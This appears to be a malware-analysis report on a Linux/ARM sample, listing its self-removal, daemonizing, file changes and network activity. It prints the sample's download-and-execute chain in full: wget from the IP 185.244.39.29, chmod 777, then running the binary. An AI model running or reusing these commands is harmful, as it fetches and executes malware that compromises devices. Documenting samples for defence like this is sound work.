Technical Information
Malicious functions:
Removes itself
Launches itself as a daemon
Launches processes:
- /bin/sh -c wget http://185.244.39.29/8arm78; chmod 777 *; ./8arm78 wget.echo.telnet.arm7
- wget http://185.244.39.29/8arm78
- chmod 777 8arm78 run.sh stdout.log
- ./8arm78 wget.echo.telnet.arm7
Performs operations with the file system:
Modifies file access rights:
- /root/8arm78
- /root/run.sh
Creates or modifies files:
- /root/8arm78
Network activity:
Establishes connection:
- 8.#.8.8:53
- 18#.##4.39.29:4762
HTTP GET requests:
- 18#.###.39.29/8arm78